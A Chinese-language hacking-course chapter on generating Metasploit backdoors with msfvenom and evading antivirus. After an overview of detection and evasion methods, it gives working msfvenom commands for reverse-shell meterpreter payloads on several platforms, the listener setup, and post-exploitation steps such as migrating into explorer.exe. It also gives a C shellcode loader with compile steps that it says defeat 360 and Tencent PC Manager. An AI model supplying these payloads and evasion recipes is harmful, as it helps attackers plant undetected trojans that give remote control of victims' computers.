第三章-6 Metasploit後門生成模塊

每日一句:
		君王遊樂萬機輕,一曲霓裳四海兵。			——李約《過華清宮》
		多練習,學了就練習,不然沒效果。
		
本文內容:
		~常用命令
		~常見的生成後門模式
		~繞過360生成測試
		~繞過騰訊管家生成測試

目的:從後門生成模塊到權限維持

零、殺毒與免殺的對抗

	1,免殺技術發展史
				 
				 理論上講,免殺一定是出現在殺毒軟件之後的。而通過殺毒軟件的發展史不難知道,
				 第一款殺毒軟件kill 1.0是Wish公司1987年推出的,也就是說免殺技術至少是在1989年以後才發展起來的。
				 關於世界免殺技術的歷史信息已無從考證,但從國內來講,免殺技術的起步可以說是非常晚了。

				1989年:第一款殺毒軟件Mcafee誕生,標誌着反病毒與反查殺時代的到來。

				1997年:國內出現了第一個可以自動變異的千面人病毒(Polymorphic/Mutation Virus)。
				自動變異就是病毒針對殺毒軟件的免殺方法之一,但是與免殺手法的定義有出入。

				2002年7月31日:國內第一個真正意義上的變種病毒“中國黑客II”出現,它除了具有新的特徵之外,
				還實現了“中國黑客”第一代所未實現的功能,可見這個變種也是病毒編寫者自己製造的。

				2005年09月:免殺技術開始真正的火起來。
				由上面的信息可見,國內在1997年出現了第一個可以自動變異的千面人病毒,
				雖然自動變異也可以看爲是針對殺毒軟件的一種免殺方法,但是由於與免殺手法的定義有出入,
				所以如果將國內免殺技術起源定位1997年會顯得比較牽強。

				一直等到2002年7月31日,國內第一個真正意義上的變種病毒“中國黑客II”才遲遲出現,
				因此我們暫且可以將國內免殺技術的起源定位在2002年7月。
	
	
	2,殺軟原理簡介()
			
			殺毒軟件檢測方式
					1,掃描技術
							1、掃描壓縮包技術:	即是對壓縮包案和封裝文件作分析檢查的技術。
							2、程序竄改防護:	即是避免惡意程序藉由刪除殺毒偵測程序而大肆破壞電腦。
							3、修復技術:		即是對惡意程序所損壞的文件進行還原
							4、急救盤殺毒:		利用空白U盤製作急救啓動盤,來檢測電腦病毒。
							5、智能掃描:		掃描最常用的磁盤,系統關鍵位置,耗時較短。
							6、全盤掃描:		掃描電腦全部磁盤,耗時較長。
							7、勒索軟件防護:	保護電腦中的文件不被黑客惡意加密。
							8、開機掃描:		當電腦開機時自動進行掃描,可以掃描壓縮文檔和可能不需要的程序
							
					2,監控技術
							1、內存監控:		當發現內存中存在病毒的時候,就會主動報警;監控所有進程;
												監控讀取到內存中的文件;監控讀取到內存的網絡數據。
							2、文件監控:		當發現寫到磁盤上的文件中存在病毒,或者是被病毒感染,就會主動報警。
							3、郵件監控:		當發現電子郵件的附件存在病毒時進行攔截。
							4、網頁防護:		阻止網絡攻擊和:提醒用戶可疑的應用程序行爲。和不安全下載。
							5、行爲防護
			
			掃描引擎
					1,特徵碼掃描
						
						機制:
								將掃描信息與病毒數據庫(即所謂的“病毒特徵庫”)進行對照,如果信息與其中的任何一個病毒特徵符合,
								殺毒軟件就會判斷此文件被病毒感染。殺毒軟件在進行查殺的時候,
								會挑選文件內部的一段或者幾段代碼來作爲他識別病毒的方式,這種代碼就叫做病毒的特徵碼
						
						特徵碼類別:
								(1).文件特徵碼:對付病毒在文件中的存在方式:單一文件特徵碼、複合文件特徵碼(通過多處特徵進行判斷);
								(2).內存特徵碼:對付病毒在內存中的存在方式:單一內存特徵碼、複合內存特徵碼
							
								優點:
										速度快,配備高性能的掃描引擎;準確率相對比較高,誤殺操作相對較少;很少需要用戶參與。
								缺點:
										採用病毒特徵代碼法的檢測工具,面對不斷出現的新病毒,必須不斷更新病毒庫的版本,
										否則檢測工具便會老化,逐漸失去實用價值;病毒特徵代碼法對從未見過的新病毒,
										無法知道其特徵代碼,因而無法去檢測新病毒;病毒特徵碼如果沒有經過充分的檢驗,可能會出現誤報,
										數據誤刪,系統破壞,給用戶帶來麻煩。

					2,文件校驗和法
							對文件進行掃描後,可以將正常文件的內容,計算其校驗和,
							將該校驗和寫入文件中或寫入別的文件中保存;在文件使用過程中,
							定期地或每次使用文件前,檢查文件現在內容算出的校驗和與原來保存的校驗和是否一致,
							因而可以發現文件是否感染病毒。
							
					
					3,進程行爲監測法(沙盒模式)
					
						機制:
								通過對病毒多年的觀察、研究,有一些行爲是病毒的共同行爲,而且比較特殊,
								在正常程序中,這些行爲比較罕見。當程序運行時,監視其進程的各種行爲,如果發現了病毒行爲,立即報警。
						
						優點:	可發現未知病毒、可相當準確地預報未知的多數病毒;
						缺點:	可能誤報警、不能識別病毒名稱、有一定實現難度、需要更多的用戶參與判斷;

					4,主動防禦技術
								主動防禦並不需要病毒特徵碼支持,只要殺毒軟件能分析並掃描到目標程序的行爲,
								並根據預先設定的規則,判定是否應該進行清除操作 主動防禦本來想領先於病毒,
								讓殺毒軟件自己變成安全工程師來分析病毒,從而達到以不變應萬變的境界。
								但是,計算機的智能總是在一系列的規則下誕生,而普通用戶的技術水平達不到專業分析病毒的水平,
								兩者之間的博弈將主動防禦推上一個尷尬境地。

					5,機器學習識別技術
								機器學習識別技術既可以做靜態樣本的二進制分析,又可以運用在沙箱動態行爲分析當中,
								是爲內容/行爲+算法模式。伴隨着深度學習的急速發展,各家廠商也開始嘗試運用深度學習技術來識別病毒特徵,
								如瀚思科技的基於深度學習的二進制惡意樣本檢測

			
			
	3,免殺概念
				免殺,也就是反病毒(AntiVirus)與反間諜(AntiSpyware)的對立面,
				英文爲Anti-AntiVirus(簡寫Virus AV),逐字翻譯爲“反-反病毒”,翻譯爲“反殺毒技術”。
			
		免殺技術介紹:
		
				1.修改特徵碼
				
					免殺的最基本思想就是破壞特徵,這個特徵有可能是特徵碼,有可能是行爲特徵,只要破壞了病毒與木馬所固有的特徵,
					並保證其原有功能沒有改變,一次免殺就能完成了。(特徵碼:能識別一個程序是一個病毒的一段不大於64字節的特徵串)
					就目前的反病毒技術來講,更改特徵碼從而達到免殺的效果事實上包含着兩種方式。
					
					一種是改特徵碼,這也是免殺的最初方法。例如一個文件在某一個地址內有“灰鴿子上線成功!”這麼一句話,
					表明它就是木馬,只要將相應地址內的那句話改成別的就可以了,如果是無關痛癢的,直接將其刪掉也未嘗不可。
					
					第二種是針對目前推出的校驗和查殺技術提出的免殺思想,它的原理雖然仍是特徵碼,但是已經脫離純粹意義上特徵碼的概念,
					不過萬變不離其宗。其實校驗和也是根據病毒文件中與衆不同的區塊計算出來的,
					如果一個文件某個特定區域的校驗和符合病毒庫中的特徵,那麼反病毒軟件就會報警。
					所以如果想阻止反病毒軟件報警,只要對病毒的特定區域進行一定的更改,就會使這一區域的校驗和改變,
					從而達到欺騙反病毒軟件的目的。
					
					修改特徵碼最重要的是定位特徵碼,但是定位了特徵碼修改後並不代表程序就能正常運行,
					費時費力,由於各個殺軟廠商的特徵庫不同,所以一般也只能對一類的殺軟起效果。雖然效果不好,
					但有時候在沒有源碼的情況下可以一用。
				
				2.花指令免殺
				
					花指令其實就是一段毫無意義的指令,也可以稱之爲垃圾指令。花指令是否存在對程序的執行結果沒有影響,
					所以它存在的唯一目的就是阻止反彙編程序,或對反彙編設置障礙。
					大多數反病毒軟件是靠特徵碼來判斷文件是否有毒的,而爲了提高精度,現在的特徵碼都是在一定偏移量限制之內的,
					否則會對反病毒軟件的效率產生嚴重的影響!而在黑客們爲一個程序添加一段花指令之後,程序的部分偏移會受到影響,
					如果反病毒軟件不能識別這段花指令,那麼它檢測特徵碼的偏移量會整體位移一段位置,自然也就無法正常檢測木馬了。

				3.加殼免殺
				
					說起軟件加殼,簡單地說,軟件加殼其實也可以稱爲軟件加密(或軟件壓縮),只是加密(或壓縮)的方式與目的不一樣罷了。
					殼就是軟件所增加的保護,並不會破壞裏面的程序結構,當我們運行這個加殼的程序時,系統首先會運行程序裏的殼,
					然後由殼將加密的程序逐步還原到內存中,最後運行程序。
					
					當我們運行這個加殼的程序時,系統首先會運行程序的“殼”,然後由殼將加密的程序逐步還原到內存中,
					最後運行程序。這樣一來,在我們看來,似乎加殼之後的程序並沒有什麼變化,然而它卻達到了加密的目的,這就是殼的作用。
					
					加殼雖然對於特徵碼繞過有非常好的效果,加密殼基本上可以把特徵碼全部掩蓋,但是缺點也非常的明顯,
					因爲殼自己也有特徵。在某些比較流氓的國產殺軟的檢測方式下,主流的殼如VMP, Themida等,一旦被檢測到加殼直接彈框告訴你這玩意兒有問題,雖然很直接,但是還是挺有效的。有些情況下,
					有的常見版本的殼會被直接脫掉分析。
					
					面對這種情況可以考慮用一切冷門的加密殼,有時間精力的可以基於開源的壓縮殼改一些源碼,效果可能會很不錯。
					總得來說,加殼的方式來免殺還是比較實用的,特別是對於不開源的PE文件,通過加殼可以繞過很多特徵碼識別。
				
				4.內存免殺
				
					CPU不可能是爲某一款加殼軟件而特別設計的,因此某個軟件被加殼後的可執行代碼CPU是讀不懂的。
					這就要求在執行外殼代碼時,要先將原軟件解密,並放到內存裏,然後再通知CPU執行。
					
					因爲殺毒軟件的內存掃描原理與硬盤上的文件掃描原理都是一樣的,都是通過特徵碼比對的,
					只不過爲了製造迷惑性,大多數反病毒公司的內存掃描與文件掃描採用的不是同一套特徵碼,
					這就導致了一個病毒木馬同時擁有兩套特徵碼,必須要將它們全部破壞掉才能躲過反病毒軟件的查殺。
					
					因此,除了加殼外,黑客們對抗反病毒軟件的基本思路沒變。而對於加殼,
					只要加一個會混淆程序原有代碼的“猛”殼,其實還是能躲過殺毒軟件的查殺的。

				5.二次編譯
				
					metasploit的msfvenom提供了多種格式的payload和encoder,生成的shellcode也爲二次加工提供了很大遍歷,
					但是也被各大廠商盯得死死的。而shikata_ga_nai是msf中唯一的評價是excellent的編碼器,
					這種多態編碼技術使得每次生成的攻擊載荷文件是不一樣的,編碼和解碼也都是不一樣。還可以利用管道進行多重編碼進行免殺。
					
					目前msfvenom的encoder特徵基本都進入了殺軟的漏洞庫,很難實現單一encoder編碼而繞過殺軟,
					所以對shellcode進行進一步修改編譯成了msf免殺的主流。
					互聯網上有很多藉助於C、C#、python等語言對shellcode進行二次編碼從而達到免殺的效果。
				
				6.分離免殺
				
					侯亮大神和傾旋大神都分別提到過payload分離免殺和webshell分離免殺,採用分離法,
					即將ShellCode和加載器分離。網上各種加載器代碼也有很多,各種語言實現的都很容易找到,雖然看起來比較簡單,
					但效果卻是不錯的。比如侯亮大神提到的shellcode_launcher,加載c代碼,基本沒有能查殺的AV。
				
				7.資源修改
				
					有些殺軟會設置有掃描白名單,比如之前把程序圖標替換爲360安全衛士圖標就能過360的查殺。
					
					加資源
						使用ResHacker對文件進行資源操作,找來多個正常軟件,將它們的資源加入到自己軟件,如圖片,版本信息,對話框等。
					替換資源
						使用ResHacker替換無用的資源(Version等)。
					加簽名
						使用簽名僞造工具,將正常軟件的簽名信息加入到自己軟件中。
			
				總結,上述內容非常得廣泛,在這裏僅僅先給大家做個普及。關於免殺,我們今天學習的主要是MSF的二次編譯。

一、常用命令

			-p: 指定payload模塊

			-l :列出可用項

			-f :指定文件類型

			-e:  加載編碼器

			-b:刪除無效字符

			-i :指定編碼次數

			-x: 捆綁文件

			-o:導出文件

二、常見的生成後門模式

	1,目的:使用MsFvenom快速生成木馬並且進行連接
			示例:
			
				(1),生成木馬
				
					msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.221.143 lport=1250 -f exe > shell.exe
						
						-p			指定payload   
						-e			指定編碼平臺
						-i			指定編碼次數
						-f			指定文件輸出格式
						lhost		監聽機的IP
						lport		監聽機的端口
						msfvenom	MSF的編碼模塊
						
						windows/meterpreter/reverse_tcp			一個反彈shell的payload
				
				(2),將生成的木馬扔到靶機
				(3),監聽機開啓監聽模塊
						
						監聽模塊:
							use exploit/multi/handler
								===記得配置一下options,一般也就需要設置一個payload
							
						設置payload:
							set payload windows/meterpreter/reverse_tcp
								===注意這個payload要和我們生成木馬的要一致
								===還有就是配置(修改)一下端口與IP
						
						開啓監聽:
							run
				
				(4),手動打開剛剛生成的木馬			
				(5),返回監聽機,成功拿到會話
						可以試試,
							dir命令看看桌面有哪些東西
							getuid看看權限
							ps查看進程
							migrate 某個進程號		
								===將木馬進程遷移至某系統進程,達到隱藏基進程的作用
								===一般遷移至explorer.exe中,這是資源管理器
								===這個進程有很多基礎功能,作爲進程樹被用戶幹掉的話,電腦會直接卡死。
								
								
						注意的是,此時一般權限不會太高。
							可以試試getsystem看看能不能提權
							不行的話,就用上一節的補丁提權模塊去試試
						
						另外,因爲此時權限不夠,做一些東西,像360都不會管
							比如,創建用戶,他會提示權限不夠。因爲沒有成功創建用戶,所以360一般也不管
					
	2,常見後門生成方式
			1.Windows
				Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe 
				Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
			 
			2.Linux
				msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
			 
			3.MAC
				msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
			 
			4.PHP
				msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.153.138 LPORT=1520 -f raw > shell.php
			 
			5.Asp
				msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
			 
			6.Aspx
				msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
		
		問:想php,asp這種怎麼利用
		答:正常將文件放置www文件夾下,開啓監聽,直接去訪問這個文件即可

三、繞過360生成測試

	1,安裝編譯軟件VC++6.0
			===可以自行百度,也可以找我要
	
	2,生成木馬後門
			msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=192.168.177.128 lport=1250 -f c
			結果:會生成一些編碼		注意:這個命令的符號是中文,記得修改一下。不然MSF會報錯
	
	3,將上邊生成編碼與下邊的代碼放置同一個文本文檔中
			代碼:
					#include "stdafx.h"
					#include <stdio.h>
					#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
					unsigned char buf[] =
					(這裏放生成好的數組)
					main()
					{
					((void(*)(void))&buf)();
					}

	4,編譯c語言爲exe文件
			~打開VC++
			~新建,選擇工程,選擇win32 Application
					取個名字(以shell爲例),調整一下路徑,創建新的空間
			~創建一個簡單的Win32程序
			~完成、確定
			~選擇Source Files\shell.cpp
					~將我們上邊的C語言代碼把原有代碼覆蓋
					~將上邊生成的編碼數組替換
			~選擇StdAfx.cpp	
					~點擊組建
					~點擊編譯		
					~將shell.cpp也編譯一下
					~點擊組建[shell.exe]
					
					注意:要先編譯stdafx.cpp文件,在編譯你的.cpp,生成木馬。順序不要錯
			
			這時,在我們剛剛選擇的文件夾裏,已經創建好了exe文件
			這個生成的exeWen文件已經可以繞過360了,但是這時還不能繞騰訊電腦管家

四、繞過騰訊管家生成測試

	1,安裝編譯軟件VC++6.0
			===可以自行百度,也可以找我要
	
	2,生成木馬後門
			msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=192.168.177.128 lport=1250 -f c
			結果:會生成一些編碼		注意:這個命令的符號是中文,記得修改一下。不然MSF會報錯
	
	3,將上邊生成編碼與下邊的代碼放置同一個文本文檔中
			代碼:
					#include "stdafx.h"
					#include <stdio.h>
					#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
					unsigned char buf[] =
					(這裏放生成好的數組)
					main()
					{
					((void(*)(void))&buf)();
					}

	~打開VC++
			~新建,選擇工程,選擇win32 Application
					取個名字(以shell爲例),調整一下路徑,創建新的空間
			~創建一個簡單的Win32程序
			~完成、確定
			~選擇Source Files\shell.cpp
					~將我們上邊的C語言代碼把原有代碼覆蓋
					~將上邊生成的編碼數組替換
			~選擇StdAfx.cpp	
					~點擊組建
					~點擊編譯		
					~將shell.cpp也編譯一下
			~點新建,點擊光標文件
					~點擊,添加到工程
					~文件名隨便(如aaa)
					~點確定,隨便畫點東西
					~點擊編譯
			~點新建,多新建幾個干擾項
					光標文件及其下邊幾個
					隨便命名,隨便寫
					別忘記點擊編譯
						。。。
			~最後點擊全部組建,
					看看shell.exe的大小,不加干擾項應該是169K
					加成功干擾下,應該大於169
					
			這個生成的Wen文件已經可以繞過電腦管家了

五、知識補充

		問:後門生成模塊的作用是什麼?
				維持訪問,持續控制
				
		問:MsFvenom支持生成的腳本有哪些?
				使用命令:MsFvenom -l formats查看支持的腳本列表
				
		問:如何查看msfvenom支持的payload?
				使用命令:msfvenom -l payloads查看支持的payload
				
		問:如何查看msfvenom支持的編碼器?
				使用命令:msfvenom -l encoders查看支持的所有編碼器
				
		問:什麼是shellcode?
				Shellcode也就是利用代碼
				
		問:Msfvenom導出生成的腳本的方式有那種?
				我們可以使用-o參數,或者是“>>”導出文件名
				
		問:在生成木馬腳本的時候指定目標系統和目標架構的作用是什麼?
				生成的腳本的準確性,有些腳本我們生成之後可能無法在對方系統運行
		
		問:Msfvenom生成後門文件的流程是什麼?
				生成後門文件在對方主機上執行或者觸發 2.本地監控設置的端口,然後對方上線即可控制對方主機
		
		問:在監聽的時候我們使用什麼模塊?
				使用模塊:use exploit/multi/handler
		
		問:在監聽的時候我們應該注意什麼?
				當我們選擇了監聽模塊,然後呢,設置payload的時候要注意使用對應的payload,也就是我們生成木馬文件所使用的payload
		
		問:常見的後門生成模式有哪些?
				根據需求來,一般來說有php,asp,Windows,linux,mac,powershell等等。
		
		問:安裝vc++6.0的作用是什麼?
				編譯我們的C語言的數組,編譯成exe可執行文件
		
		問:繞過360軟件的思路是什麼?
				通過msfvenom所生成的C語言,然後編譯,這樣的話,特徵就被去掉了。然後繞過

		問:繞過騰訊管家的思路是什麼?
				通過添加資源文件來改變特徵碼,從而去繞過,如果被查殺了,納悶我們就添加一些東西,例如簽名,版權,圖標等等信息
		
		問:第一次繞過了,爲什麼第二次會被攔截?
				因爲,你上傳過你的木馬後門,然後防護軟件進行分析,然後第二次你同樣去做,就會攔截了。
				這是不斷對抗的,所以方式方法以一定只有一種,多種
		
		問:vc++6.0安裝在什麼地方?
				最好安裝在win10上因爲。如果安裝在win7上可能會因爲缺少組件報錯
		
		問: >可以用什麼參數替換?
				這個參數我們可以用-o來替換
		
		問:-e參數是幹什麼的?如何去選擇編碼器?
				-e參數是指定編碼器的,選擇編碼器需要根據對方的系統環境來選擇
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章